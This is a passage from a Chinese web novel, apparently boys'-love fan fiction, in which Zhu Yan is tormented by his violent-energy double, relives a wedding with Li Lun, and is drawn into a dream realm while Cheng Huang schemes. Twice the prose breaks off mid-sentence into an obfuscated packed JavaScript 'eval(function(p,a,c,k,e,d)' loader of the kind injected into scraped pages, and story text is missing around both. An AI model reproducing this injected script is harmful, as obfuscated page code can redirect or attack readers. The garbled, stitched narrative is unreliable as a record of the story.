离仑眼疾手快一把抱住他,与此同时,四周一旁顿时伸出无数枝蔓,一秒之间在朱厌底下搭建成一张巨网,生怕他一个不慎就给摔了下去。 后来,朱厌发现,只要离仑开心的时候,若是露出真身,原本光秃秃的大古槐便会开满雪白的槐花。 可朱厌并不知道,其实,离仑并不是因为他开心真身才的花,而是因为离仑动心了。 妖,天生无情无欲,离仑也因朱厌生出了不该有的七情六欲,喜怒哀乐,嗔痴爱恨,悲欢离合。 其实,白槐花真正寓意是纯洁无暇的爱情。 ... 刚好走到朱厌身后的戾气,一见到此情此景,忽然炸毛,彻底发起疯来,探身反手,一把反掐住朱厌的下颌,非常愤怒。 而他那双暗红浅瞳,因为过度狂化,连带着眼白也逐渐充血猩红,嗓音也开始变得混沌起来,好似有千万道声音在同时说着话。 戾气朱厌掐住朱厌的脸,用力将别开的脸使劲给掰了过来,闭上眼,深呼吸了一下,脸颊来回蹭了蹭朱厌的侧脸,再睁开眼,一字一句,在他耳边慢吞吞说着:“朱厌,你知道我最讨厌你什么吗?” 朱厌被他掐得格外难受,戾气过分用力的力道,在朱厌白皙的皮肤上留下了一道道骇人又醒目的红痕。 戾气朱厌忽然一把推开朱厌,又转身朝他猛地跑过去,四目对视,两人之间隔着仅有几指距离,让朱厌感到非常不舒服。 戾气朱厌突然俯身靠近几分,疯狂地嗅了嗅朱厌身上的气息后,嘴角露出一个十分骇人的冷笑。 “我讨厌你,身上有离仑的味道。” “我讨厌你,永远都是这么一副人畜无害,悲悯世人,高高在上的孤傲神情。” “我讨厌你,明明把他忘得一干二净,却总装出一幅惺惺作态的虚伪模样?你明明漠视着一切,明明过得如此滋润。” “我更讨厌,他居然为了如此懦弱无能的你,不惜活生生剥离自己一半槐鬼之力把我强行封印在暗无天日的牢笼里。” 戾气朱厌猩红的舌头卷舔上朱厌的耳珠,温热的气息喷洒在他耳窝,让他格外难受得一个劲想别开头躲他,可下颌却被他死死一把掐住。 “朱厌,你知道三万年是多少天吗?” “三万年,是一千万零九十五万天...”戾气朱厌忍不住朝他龇牙起来,格外愤怒,“我自己一个人呆在那暗无天日的牢笼里,一千多万天呢...你懂,那种滋味吗...” “他说过的,天地万物,皆要般配...” “可遇事就躲的你,根本就不配...不管是以前,三万年前,还是现在,我以为你会不一样,可你还是一样...” “你根本就不配得到离仑的爱!” “从头到尾,这么多年了,你根本就没有变过...” “你不配拥有他的爱!他爱的应该是我,而不是你...” “朱厌,你到底懂什么是爱吗?” “凭什么...你一介懦夫,却能让他对你如此死心塌地...” “他爱的应该是我才对...应该是我陪他一起纵横天地,肆意妄为的...” “你说,对吧...” 戾气朱厌闭上眼,深深嗅了嗅朱厌身上的味道后,再度睁眼,眼中却满是藏不住的赤.裸.裸.疯意与难以诉说的痴狂。 30.凡间婚娶 戾气朱厌每说一句,朱厌的头与心脏,就又疼一分。 “你给我闭嘴!我不听我不听!”朱厌拼命挣扎,一把推开戾气朱厌,逃开了他的禁锢。 可心脏突然从来一阵钝痛,好似在那片刻之间停止了跳动,让他逃走的步伐一顿,整个人瞬间跌倒在地。 一团泛着黑雾的猩红,在朱厌的心口缓慢洇开,随即,他的嘴角也淌下一丝血迹... 朱厌伸手一碰心口,温热的濡湿泛着新鲜的血腥味。转身一望,只见戾气朱厌化出的锋利食指,正全指没入他的心口处。 方才还十分愤怒,处于狂化中的戾气朱厌,此刻一脸平静得与方才宛若两人。 戾气朱厌拔出自己没入心口的食指,又搅动了好几下才慢悠悠停下。 很奇怪,他明明捅的也是自己的心,可戾气朱厌却一脸平静,好似根本不懂何为疼痛般,反而是对面地上的朱厌当下就痛得直出声。 “不听话的孩子,是要被惩罚的哦。” “我已经说了,你不可以跑哦~” “你不乖。我要替离仑,惩罚你。” 戾气朱厌一脸天真,嘴里却说着很残忍的话。 温热的舌头卷.舔.上沾满鲜血的手指,他张嘴将还冒着热雾的鲜血,吞入腹中,淡定地朝朱厌走去,伸手拽住他的长发,拖着他直接往前走去。 “你...疯子...你放开我!” 戾气朱厌拽着头发,让朱厌本就疼的头,更疼了。 强行被拖地带走的朱厌难以反抗,整个人处于被动下方,只能被迫由着戾气朱厌折磨着他,拖着他望不知何处走。 突然,戾气朱厌停下了前进的步伐,松开手,朱厌还没缓过神就被他一把丢进又一个记忆牢笼。 时光山谷中,躲在昆仑山窟里,黄发尖耳的男人盯着自己手中不断发光着的魑魅沙漏,嘴角笑意愈发痴癫起来—— 闪烁着金光的魑魅沙漏,空无一物的沙漏中,忽然多了很多泛着红雾的墨黑沙粒。 乘黄施法,一颗墨黑沙粒穿过魑魅沙漏,飘到他指尖。只见他缓缓闭上了那双赤黄眼睛,伸指一掐,指尖不断摩挲着被他碾压成墨黑粉末的沙粒。 接着,睁开的眼眸里,赤黄瞳色变得流光溢彩,平静的目光也爬上了诡异的兴奋与疯狂,语气阴森森地自言自语道:“真不愧是大荒妖后——” “好强烈的嗔与憾啊...可是...还不够...还是...不够呢...怎么样才可以让你生出更多呢...” 前方传来的一道刺眼红光,刺得朱厌完全睁不开眼。 待他能睁眼之时,颠簸之中,映入他眼眸的是满眼的红。 这是...何人结亲成婚? 朱厌看到自己一身大繎色泽的喜服,头披喜庆的红喜薄纱盖头,绣满红囍的轿帘,头上佩戴的银朱珠帘,正因喜轿颠簸而来回拍打着他的脸,让他觉得脸疼得慌。 这是... 透过大繎薄纱的轿帘一望,朱厌依稀瞧见外头那一道熟悉的高大健硕身影。 轿帘忽然被人撩开,一只指节分明,修长宽大的手伸了进来。 朱厌顺着向上一望,瞧见那张脸时,瞳孔一缩,彻底错愕在原地—— 记忆中,一向只爱素雅冷调,甚至衣物都是多黑少白的离仑,此时,高大健硕的身躯被一身与他同色的大繎喜服包裹着,流光溢彩的广袖上覆满银朱刺绣的古槐妖徽。 玉质金相,眉眼如画,剑眉入鬓,长身玉立。 离仑乌丝半挽,额前随意落下的几缕发丝,显得他愈发邪魅。一向朴素的及腰长发,此次两侧却各自多缀着一根细长的鎏金流苏发链,流苏链尾端还系了两枚精致的蓝金莲铃。 朱厌望到那流苏链时,不由失神起来—— 好熟悉的东西...可是他,根本就想不起来在哪里见过... 离仑的性子淡漠孤寡得很,脸上也很少有很生动的神情。尤其是他那双暗蓝深瞳内,总藏着漠视众生,万物难入其眼的上位者眼神。 可是此刻,他那双邪冶勾魂的蓝瞳,在阳光照耀下,泛着耀眼又勾人的银灰光泽,望着朱厌的眼,满是藏不住的兴奋与开心。那张眉波如山的脸上,微勾唇角愈发显得他整个人格外地邪魅狂狷。 一段莫名其妙的对话,闯入朱厌脑海里。 ... “阿厌,你说过...” “凡间的婚娶之喜,唯有互相心悦,真心相爱者才方可结亲成婚。” “我问过爷爷了,原来,大荒也一样。” “二人婚成,便是约定相守终生,不离不弃。” “阿厌,我们成亲可好?” “嗯。” ... 朱厌想要开口一问,却发现自己根本说不出话,连带着整个人的身体都不受控,就像变成了一个让人用丝线操控着的傀儡娃娃。 他看到自己不受控的身体伸手,轻放在眼前人朝他伸出的手上。 冰凉的手,忽然被一股温热包裹住。 是离仑先行牵住了他的手,朱厌身体不受他控制,整个人只能被迫随着离仑走出了喜轿。 两人牵着手进入了一座红绸高挂的庙宇,身后四周站着的是诸多同他们连声贺喜祝福的百姓。 虽然披了这薄纱红盖头,但这薄薄的一层盖头自是挡不住五感超群的大妖。 朱厌隔着红盖头,望了四周一眼,震惊一愣,这里是,凡间?这些,都是普通凡人? 他又是何时与离仑在凡间成亲过?英磊与戾气不是同他说过,离仑是最讨厌最憎恨凡间的吗? 朱厌看到,两人肩并肩,手牵手,双双踏入了月老主庙。 “白头之约,载明鸳谱,喜结良缘,海誓山盟,礼成——” 离仑牵着自己,迈过了驱邪避祟的火盆,踏过洒满扑落酥、长生果、栗子、桂圆的红喜毯,拜过掌管姻缘的月老,许下白头偕老的海誓山盟。 ... “算了算了。我们还是不要死了,活得长长久久,活到天荒地老。” “好。我陪你。” ... “伏愿吾爱朱厌,喜乐千秋,顺遂如愿,长命百岁——” “朱厌,答应我,你一定要长命百岁——” ... 朱厌心口,骤然传来一阵万蚁噬咬又如万针挑刺般的疼痛。 疼得久了,那股浅浅的撕痛又转化为一阵尖锐的刺痛,直钻入他脑髓。 朱厌感觉自己就像是被人抛到一个深不见底的海底深渊,让他难以喘息,心口一痛,喉咙一热,一股血腥自喉涌出,地上脚边都是血。 朱厌识海里,那一朵被迫藏起来的心莲,黯淡无光。本就处于枯萎状态的心莲,干枯的花瓣再也留不住,统统掉落,化作一阵黑烟散去,最后只剩下枯萎发黑的莲蕊。 太疼了! 朱厌被疼得脸色一下子就苍白如纸,后背全被冷汗彻底濡湿,整个人疼得瑟瑟发抖着。他甚至萌生了,想将自己的心活生生给挖出来的想法。 戾气朱厌走到他跟前,一把掐住朱厌的下颌,拇指轻轻抹去朱厌嘴角残留的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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乘黄顿时一僵,本就苍白得不似常人的肤色又白了几分,脸上笑着的表情一下子就垮了,却又在一秒之间重新换上笑容。 “戾气小儿,这就轮不到你多管闲事了。”乘黄依旧保持着笑容,语气倒是变得平和起来,“我把魑魅沙漏,留在这里...我把它...借你用一下...相信...你不会让我失望的...” 放下沙漏后,乘黄便消失不见了,只剩下那一盏装着越来越多墨黑沙粒的魑魅沙漏。 乘黄走后,戾气朱厌过了许久才磨磨唧唧的起身,捡起他留下的魑魅沙漏,玩了起来。 只见他一个劲盯着里头那些墨黑沙粒,一边玩着,一边自言自语着:“做梦入梦,爱欲之巅,定会开出那梦魇之花...这花,会放出你的贪嗔痴念,招来灾祸...” 戾气朱厌化出锋利的指尖,朝着自己的掌心深深用力一划拉,带着黑气的鲜血疯狂涌出,接着他将血滴入了魑魅沙漏的顶端,又将血喂到了朱厌嘴里。 魑魅沙漏开始剧烈震动起来,里头墨黑沙粒逐一飘出沙漏,钻入朱厌身体后,魑魅沙漏一下飞到半空,原本巴掌大小的沙漏变得无比巨大,最后将倒在地上的朱厌吸入了沙漏里面。 看到朱厌被吸入了魑魅沙漏里,戾气朱厌一点都不惊讶,反而收敛起脸上玩味与疯狂的神情,换上罕见的认真,左眼不受控滚下一颗热泪,他伸指一抹,语气闷闷,自我嘟囔着—— “情至深,爱至重,失之痛,迫之切,愿不得...故曰,嗔海憾境...” “朱厌,你说,如果是离仑的‘嗔海憾境’...那又是怎么样的呢...” 31.嗔海憾境 “阿厌——” 倒地昏迷不醒的朱厌,听到有人在不停唤着他的名字。 “阿厌...” 又一声呼唤,朱厌努力了又再努力,沉重的眼皮终于缓缓掀开了。 “阿厌。” “离仑...是你吗...”朱厌头疼得久久不能回神,眼中带着几分疲惫的空洞,泪顺着眼角滑入发丝,“离仑...我好疼...” 四周黑漆漆的一片,看不见任何东西。 天上却诡异地忽然黑夜转白昼,刺眼的白光刺得朱厌又难受了好几分。 眼前空无一物的地方,露出一条看不见尽头,只能从白茫茫浓雾中依稀看见的大道。 随着一声震耳欲聋的巨响,一座由无数骷髅头和尸体残骸建造而成的通天大桥,从半空嘭的一声,狠狠落下,四周顿时飞扬起一阵尘土。 朱厌尝试了好几次才彻底站了起来,伸手抹去嘴角残留的血渍,拖着受伤的身体,一步一顿,缓慢地走了进去。 “阿厌...” 朱厌前进的步伐,在听到这一声轻唤后,驻足停下,转头一望:“离仑...是你吗...” 一声声撕心裂肺的鬼魂吟哮响彻上空,听着十分骇人。 刺骨的阴风如同无情薄刃,刮过朱厌的皮肤。不过分秒之间,他的侧脸就鲜血淋淋,皮绽肉开。 悲怆凄涔的亡灵高歌从朱厌耳边呼啸而过,渗入到他的四肢百骸,震得朱厌灵魂直疼。 朱厌的头,又再一次诡异地抽疼起来—— 这一次,更是疼得他直接蹲下身子,大口呼吸着,不停喘着气。 那一枚许久未见的暗蓝妖印,又在朱厌的眉心现出。 “阿厌,听话,往前走...” 朱厌疼得有些意识模糊,听到这话,头也不回,直接按照离仑说的往前走。 朱厌拖着重伤身子,踏上了眼前这座满是骷髅干骨的桥,桥的上空更是聚集满了一团团黑压压的鬼魂。 朱厌每走一步,就有一个黑色鬼影朝他身上撞来,似是在刻意阻拦着他过去。 每被一道鬼影撞上一次,朱厌的身上就多了一道伤。 不是他不想躲,不是他想受伤,而是这些鬼影实在是太多了,而他此时身上的还不足半成的妖力根本撑不过。 密密麻麻的鬼影,动作迅速又数量庞多,让朱厌着实寸步难行。 好不容易穿过了这座诡异的骷髅桥,待到朱厌看清眼前的一切后,难挡心中涌起的一丝恐惧,整个人不受控地下意识后退了几步。 为何...会是昆仑神山... 眼前的昆仑神山,白雪皑皑,寒风凛冽,风雪交加,昆仑神桥上悬挂着的各种祝福法铃,被夹雪寒风吹得来回叮当作响着。 朱厌迈开步伐,走过了昆仑神桥,走上了铺满白雪的台阶。 只是当他踏上台阶的那一瞬间,他瞬间就感觉到,四周的一切都停止了流动,连带着雪花粒子都飘停在了半空,一动不动。 一秒之间,大荒昼夜相切,太阳落山,银月升起,白昼转黑夜。 昆仑神山的神门入口,突然山崩地裂起来。 神门入口骤然被一劈为二,一半化作哭泣的京墨魑魅鬼脸像,一半化作狂笑的大繎魍魉鬼脸像。 两半诡异的石脸鬼像,合并化为一扇刻满无数古老繁琐文字的通天大门,缓缓出现在朱厌跟前。 朱厌周身忽然开始燃起红色的戾气,戾气从他身上正渗着鲜血的伤口里头钻出,卷带着鲜血,全都朝着那石脸鬼像的方向钻去。 谁知,那一扇合并起来的石脸鬼像大门,在吸食了朱厌的血后,缓缓朝他打开了门。 朱厌见状,二话不说,直接就走了进去。 他才刚迈开一步,这道门就直接折射出一道金光将朱厌一把吸了进去。 等到朱厌反应过来再度睁开眼时,眼前的一切是熟悉的桃源小居。 不。这里不是他在凡间的桃源小居,而是槐江谷小居。 因为他看到,在庭院的另一侧,有一棵很高大的桃花树。 那是离仑,亲手栽种下的,送给他的礼物之一。 脑海里涌入一些很奇怪的片段,及时解答了朱厌刚萌生的心中疑惑。 朱厌一愣,这难道又是被自己忘记的记忆之一吗? 可是当他仔细查看着眼前这个槐江谷小居一切时,一种奇怪的感觉在朱厌心中油然而生。 朱厌朝着槐江谷小居的走廊走去,原本万里晴空,阳光明媚的大荒,忽然下起了鹅毛大雪。 朱厌走到了走廊靠栏前,冷风微吹,诸多粉嫩桃花花瓣,纷纷扬扬落下。从天而降的絮絮飘雪,不慎沾到了朱厌的长睫上,惹得他眼睫微颤了一下。 站在靠栏前的朱厌,忍不住伸手,接住了一片洁白无暇的雪花。 只是,小小的雪花片子,刚飘到他的掌心,就消融得一干二净了。 “离仑...”望着漫天飘雪,朱厌的眼眶不由红了起来,忍不住哽咽起来,“...是你吗...” “阿离...你知道吗...槐江谷...下雪了...” ... “阿厌,快来,我给你做了你最喜欢的桃花酿...” 熟悉的声音从不远处传来,引得朱厌瞬间望去,抬眼便看到了那道熟悉的身影。 接着,一道雪白身影从朱厌身后呼的一声小跑着过去。 “阿离,苍梧之野的桃花开了,你陪我一起去看嘛,好不好?” 朱厌跑到离仑身后,双手搂上离仑的脖子,整个人亲昵地趴在他的肩上,歪着小脑袋同离仑撒着娇要他陪着玩。 离仑没有回他的话,只是将手边那一杯醉人的桃花酿一口饮下后,转身反手一拉,将朱厌稳当拉到自己的怀里,扣住他的后脑勺,一把吻住了那喋喋不休的小嘴。 朱厌被离仑这一波猝不及防的‘偷袭’,震惊得双眼瞪如铜铃,整个人下意识就挣扎起来,却反被离仑先一步扣压在桌上,被迫饮下那醉人得桃花酿。 淡淡的桃花芬香,在两人的唇齿间蔓开。 离仑的进攻,很凶猛,也很霸道,让朱厌有些招架不住,被他亲得上气不接下气。 两人分开之时,朱厌白皙的肤色从脸红到了脖子。 “你!” 朱厌正想伸手揍他,也正准备开口大骂离仑是个臭流氓老色胚,却不料扬起的手被离仑一把拉住,离仑往他手背亲了好几下。 离仑那双望着朱厌的眼里,充满了得逞的玩味,嘴角噙着一抹痞笑,语气慵懒,看似态度诚恳认真,实则油嘴滑舌地同朱厌认着错。 “阿厌,我错了,给你打...可我皮糙肉厚的,万一打疼了你的手,我可是很心疼的...” “你!”朱厌感觉自己就像是打在了一团棉花上,气得小脸通红,连话都说不利索了,“流...流氓!好的不学尽学坏的!” 回头他就把那小毛笔精给捉了!写什么写!净写些乱七八糟的东西!偏偏离仑还给学了个透! “嘶——”朱厌一个激动,腰不慎撞上了身后的桌子,疼得他当下泪眼汪汪。 “我看看!疼不疼?” 这会轮到离仑彻底慌乱起来了,连忙拉扯着朱厌身上的衣物,一幅势必要把他.扒.光.了从头到脚检查个仔细的模样。 察觉到走向有点不对劲的朱厌连忙厉声一喝,反手一挡,“你!流氓!你少碰我!不许碰我!” 本来撞到桌子腰就疼得慌,被离仑这么一弄,朱厌觉得自己撞伤的腰更疼了。 见离仑还一个劲还想要.扒.拉.他衣服,朱厌有些恼羞成怒,抓过他的手就给了他一口。 手臂被朱厌忽然一咬,离仑疼得眉头微皱,但脸上没有一丝生气,反而笑着将朱厌抱进怀里,语气颇为认真地给他道着歉:“咬吧,是我的错,我不碰你了,别生气了,好不好?” 被惹得炸毛的朱厌一下子暴躁的心情被离仑两三句话就给撩拨平息了,顿时就觉着自己有些没出息的他,更加生气了,转身就跑开。 离仑一急,连忙起身:“阿厌,你去哪儿呀?” 朱厌理都没理会他,直接朝房间走去。 等到离仑追上时,那扇门当着他的面狠狠关上,差点把他的鼻子给撞出血来。 屋内传来的声音,闷闷的。 “你又欺负我!我一会就找爷爷告状去!”朱厌嘟囔着将气鼓鼓的小脸,埋进被子里,语气委屈地同门外站着的离仑说着。 坏了,玩得有些过火了,小东西又被他逗得生气了。 门外站着的离仑正打算伸手开门,身后不远处站着的朱厌却眼睁睁看到他,化作一阵云烟,消散而去。 “离仑...” 朱厌刚迈出的脚当下就停下了,泪流满面,一脸落寞站在原地。 所以,眼前的这里,又是哪里? 戾气是把他送到了冉遗的尘梦迷阵吗?还是又一个由他亲手打造的记忆牢笼呢? ... “不许哭。不许吵他。” 一声压低嗓子的训斥传入朱厌耳中,朱厌转头,循声望去。 庭院那棵开得正茂盛的桃花树,消失不见,取而代之的是一棵树身粗如山,高约百丈,遮天蔽日的参天古槐。 朱厌朝着古槐走了过去,只一眼,他就知道,这是离仑的真身。 古槐高枝上,无数枝蔓交缠形成一张槐木摇床,两道身影交缠相拥着躺在上面,一旁是两个并连着的小小槐木摇床。 正带着朱厌晒着太阳的离仑,此时正拉着一张黑脸,对着一旁那两个并连着的小槐木摇床,小声训斥着。 “不许哭。不许闹。不许吵他。”离仑把嗓子压得很低,生怕吵到怀里睡着的人,“他好不容易才睡了过去。” 两个小东西,从出生起,就粘朱厌粘得要紧,搞得他连休息都休息得不好。 离仑的语气有点凶,加上气场强大又骇人,小槐木摇床里被他训斥的小奶团子,一下子小脸就委屈巴巴,黑溜溜的眼里蓄满了豆大的眼泪珠子,小嘴撅得老高老高的,可是却不敢再哭出声了。 “学下你哥哥,你再哭,我就把你丢到后山去。” 离仑一本正经威胁着刚出生不久的小白玖,一旁被点到名,得了表扬的小白槐,巴眨着黑溜溜的大眼,笑着咿咿呀呀,一直盯着离仑看。 离仑转身,解下身上的外袍,轻轻给朱厌披上。 饶是他再轻手轻脚,可朱厌还是被弄醒了。 熟睡中的朱厌,缓缓睁开了惺忪睡眼,带着刚睡醒的浓浓鼻音,小声问着离仑:“小家伙又闹人了吗...” “没。都很乖。我看着呢,你继续睡。”离仑轻声哄着他,伸手摸了摸他头上露出来的白色耳朵。 朱厌的耳朵其实很敏感,但离仑不想搅了他睡觉好兴致,故意避开敏感处。 朱厌被离仑摸得舒服了,忍不住朝他怀里又拱近了几分。 离仑还没摸几下,朱厌整个人就开始犯懒起来,又迷迷糊糊睡了过去。 离仑伸手将朱厌垂落的发丝捋到耳后,望着他的眼里,满是挡不住的担忧。 离仑双指抵至朱厌眉心,没一会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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离仑面无表情地穿过封印戾气的结界处,走了进去。 封印戾气的结界,是离仑亲手布下的,自是对他毫无威胁。 看到倒在地上,因强闯结界而被反噬伤疼得龇牙咧嘴又未.着.寸.缕.的戾气朱厌,离仑眉头一皱,大手一挥,顿时给戾气朱厌换上了一身蔽体黑袍。 戾气朱厌丝毫没有理会离仑强制给自己穿衣的行为,只是巴眨着一双猩红的眼睛,赤着一双小脚,一脸兴奋地跑到离仑跟前,像个小孩子一样,目不转睛地望着他,眼里满是痴迷与爱慕之意。 朱厌是被天地选中用来承载万物戾气的容器,戾气与他相生相成。 附藏在朱厌体内的戾气,自是随了主人朱厌的几分性子,对离仑也是格外喜欢得很。 面对戾气脸上肉眼可见的亲昵,离仑依旧是一副面无表情的模样,只是一言不发地盯着他。 戾气朱厌见状,先是试探性伸手,牵了牵离仑宽大的衣袖,离仑没有挣开他。 于是,戾气朱厌动作便逐渐大胆了些,直接伸手牵住了离仑的手,离仑还是没有挣开他。 见离仑还是无动于衷,戾气朱厌直接壮着胆子绕到离仑身后,趁他一个没留神,直接小脸通红地攀爬到离仑的背上。 “离仑,你为何不与我说话呢?” 爬上离仑背上的戾气朱厌,双手圈着他的脖子,微微侧过脸庞,那双漂亮的眼睛睁得大大的,一脸不解望着离仑。 见离仑依旧没有理睬他,戾气朱厌直接用脸颊亲昵地蹭了蹭离仑的侧脸,更是变出自己白色的尾巴,亲昵绕上离仑的手臂。 一直沉默着不说话的离仑,终于开口说话了:“你乖些,不要折腾他,他最近身体不好。” 离仑此话一出,他很明显感受到背上的人身体一僵,接着戾气朱厌一把跳下了,蹿到他跟前,表情是藏不住的生气。 “离仑,我讨厌你爱他。” “他变了,他丢弃了大妖之名朱厌,反愿做那恶心虚伪的凡人赵远舟...” “他明明是大荒凶兽,却想着救死扶伤,心系人间,挂念白泽神女,想着那些蝼蚁众生...他就...” 戾气朱厌那张愤怒得不停控诉着的小嘴忽而一停,那双猩红的眼里,瞳孔骤缩成针—— 因为,离仑抱住了他。 离仑的手,抚上戾气朱厌的后脑勺,像哄着孩子般轻声同他说着,避重就轻与他解释着道理:“可你也是他,他也是你。我爱他,不也是在爱你嘛...” 离仑松开了他,伸手将他乱糟糟的头发弄得整整齐齐的。 离仑的这番话,戾气朱厌觉得有点不对劲,但又说不出哪里不对劲,他只觉得自己的脑子好像打结了,一时失语得不知该说什么,只是安静盯着离仑。 “所以你最近乖点,他难受,你也难受,不是吗...” “你乖乖的听话,我没事就来陪你,可好?” ... 离仑叽里呱啦说了一堆,戾气朱厌什么都没听到,选择性只听到了‘离仑是爱他的’和‘他乖离仑就会来陪他’这两句话。 “那...”戾气朱厌紧张得话都说不利索,“你...我...” 离仑自是知道他想要说什么,接上话说:“嗯。你乖乖的,我就来看你。” 戾气朱厌被离仑的三言两语哄得一愣一愣的,不知想到什么,小脸娇羞得通红通红,小声回了他:“嗯...” “离仑...我...” 32.这个结局 “离仑...我...” 戾气朱厌还想继续说话,却被离仑给打断了。 “你乖乖的,下次给你带糖...” 戾气朱厌彻底消停,不再说话,只是那双猩红的眼睛,从头到尾都一直目不转睛跟随着离仑的身影。 他很喜欢离仑认真的样子,喜欢离仑很温柔地摸他脑袋的样子,喜欢离仑帮他将乱糟糟头发梳整齐的样子,喜欢离仑专注同他说话的样子,这样子的离仑,会让他觉得,是有那么一片刻,离仑也是完全属于他的。 离仑见他没有异样,伸手摸了摸他的脑袋后,转身准备要走,袖子却被人一把拉住—— “离仑...你不可以骗我...你一定...要来看我哦...” 戾气朱厌说话声音越来越小,话语之中带着一丝难以察觉的不安与惶恐。 “好。我答应你。”离仑冲他一笑,说完后,便离开了朱厌的识海。 离仑睁开了双眼,在见到怀里被他抱着的朱厌依旧熟睡时,那双总是淡漠得毫无波澜的眼里,泛起一阵柔和,抱着朱厌的双臂又紧了几分。 被太阳晒得一身暖烘烘的朱厌,躲在离仑的怀里,睡得格外安稳。 待到日暮西山之时,估摸着时间也差不多了,抱着朱厌的离仑,指尖朝空中一挥,两枚槐木叶子凭空而现。 两枚槐木叶子落地的那一刻,化作两个可爱的小木头人,扭着吱呀吱呀的身子,朝着一旁并连着的小槐木摇床走去,各自轻手轻脚抱起了里头睡着的两个小娃娃。 小白槐和小白玖不怕生,一见有人抱,顿时伸出胖嘟嘟的小肥手,嘴里咿咿呀呀喊个不停。 离仑则一把打横抱起依旧熟睡中的朱厌,身后跟着的小木头人抱着两个娃娃,随他一起跳下了百丈古槐。 在他们跳下的那一刻,身后那一棵巨大的古槐开始颤抖,粗壮的树身以肉眼可见的速度钻回被破开的土地。 两个小木头人紧跟在离仑身后,也一并稳妥落地。离仑身后地上,那一处因古槐现身而破开的巨大洞窟也缓缓合上,开裂的地面瞬间又变回原本的样子。 “离仑...” 朱厌看着离仑抱着过去的自己,朝他正面走来。他忍不住伸出手,想要抚摸离仑的脸。 可下一秒,离仑连带着身后两个刚出世不久的小娃娃,都一并穿过朱厌的身体,随着他侧脸滑过的一颗泪,化烟而去。 朱厌眉心那一枚沉寂已久的妖印又开始若隐若现发着淡光,他努力克制着头疼带来的不适感,却还是藏不住那细看之下,微微发抖着的身体。 时光山谷的昆仑山窟里,乘黄睁开的眼里一片流光溢彩,那双赤黄眼睛中正不断闪现着看到的一幕幕画面,那张惨白得不像活人的脸,忽而僵硬地露出一个诡异的阴笑。 乘黄突然闭上了眼,朝着空无一物的半空,深深吸了一口气,再度睁眼之时,赤黄眼眸又深了些许,划过一抹诡异的黄光。 “好香的嗔与憾啊...戾气小儿...你果然没让我失望...” 乘黄阴恻恻笑着自言自语个不停:“朱厌...我们...很快就能再见面了...” 乘黄衣袖一挥,半空竟然破开了一道裂缝。紧接着,那一盏原本借给戾气朱厌的的魑魅沙漏,从空间裂缝中缓缓飘出,落在了他的掌心。 乘黄划破自己的手心,将血滴入了魑魅沙漏的顶端,血缓慢渗入了里头。 里头那些收集而来的墨黑沙粒,在碰到乘黄的血后,就像黑夜骤然腾升的火焰般,咻的一声,冒出了浓郁的黑气... 接着,乘黄又将吸血后,泛着黑雾的魑魅沙漏重新送回到那道被他裂开的时空缝隙里,原封不动地将魑魅沙漏再次送给戾气朱厌身边去。 嗔海憾境里,朱厌还沉浸在伤感中,忽然一道小小身影朝他冲来。 “娘亲,你快来!” “娘亲,你看,阿玖也会拿针了...” “娘亲,爹爹、哥哥跟我,都好想你呀...” 朱厌还未来得及反应,就被一只小手拽拉着朝里屋走去。 白玖牵着朱厌去到了小居窗前,眼前诡异的一幕让朱厌不由起了一身鸡皮疙瘩。 满满一屋子的人里,他看到了昔日同他亲如兄妹的赵婉儿,看到了白泽神女文潇,看到了缉妖司统领卓翼宸,看到了猎妖世家裴家姐弟,裴思婧和裴思恒,看到了咋呼炸毛的英磊,看到了他心心念念着的离仑,看到了正笑着同他说着话的小白玖,还看到了正在饮酒的自己。 在他踏入这里的那一瞬间,所有人的眼睛都齐刷刷朝他望来,脸上却挂着让人不寒而栗的诡笑,吓得他情不自禁后退着,甚至是萌生了想要离开这里的念头。 ... “离仑,你快来看,这小花妖,快成形了!” 朱厌循声一望,薄雪盖头的庭院内,蹲在一旁角落里的自己,眉开眼笑着,正迫不及待转头对身后的离仑分享着自己的发现。 每一日的大荒,都有成百上千的小妖怪修炼成形。 身为大荒妖王的离仑,对这些小妖小怪的诞生,早就见怪不怪了,可朱厌却很喜欢观察这些小东西们。 离仑每次瞧见他那副开心模样,本来那些他觉着无聊且不感兴趣的东西,好像也开始觉得有趣起来了。 “嗯。我看看。” 离仑将手上的狐裘披在朱厌身上,一把系好,接着也跟朱厌一同蹲在角落里,一大一小的两道身影,一起蹲在角度齐齐观察着那一朵小花。 “嗯。是快成形了。” “要不,我帮帮它吧。” 朱厌正想伸手给那小花妖施法,助它早点化形,却被一旁的离仑伸手拦住。 “万物轮回,因果有序。你若此时强行助它,后头的天劫它不一定能渡过。” 朱厌想了一下,觉着离仑说的很对。强行介入因果必遭反噬,还是让着小花妖自行修炼吧。 离仑牵着朱厌,走到了庭院中央,刚好方才备着的水,也温开了。 两人坐在一起,有说有笑,看花赏雪,围炉煮茶。 朱厌的头,又开始疼起来了... 疼到他丝毫没察觉到自己的眉心,正灼热又发烫着,那一枚暗蓝妖印又重新浮现出,甚至正往外飘着暗蓝的光雾... 飘向半空的蓝色光雾,朝着外头一个方向,源源不断涌去。 原本只飘着絮絮薄雪的槐江谷小居,忽然下起了漫天大雪。 槐江谷小居的门,发出轻微的吱呀一声,被人一把推开。 一道高大健硕的身影,穿过庭院,走过回廊,缓缓走了进来。 “阿厌...” 原本一屋子正朝着朱厌诡异笑着的所有人,宛若风沙般,随风而散。 朱厌收回了望着窗外的目光,当听到这道声音时,骤然转身。 在看到来人时,除了愕然之外,更有的是欢喜。 “离仑!” 朱厌二话不说,直接整个人扑进离仑怀里。 这一次的离仑,不像冉遗的尘梦迷阵,也不像英磊的山海寸镜,更没像他先前做过的那些虚梦般,一碰就散,一近就没,离仑没有消失不见。 这一次,他是真的抱到了他的离仑。 “离仑...” 埋在离仑胸膛前的朱厌,什么话都没说,只是一直在哭。 明明朱厌什么话都没有说,明明朱厌只是唤了一句他的名字,但离仑就是明白了,他的阿厌在朝他撒着娇。 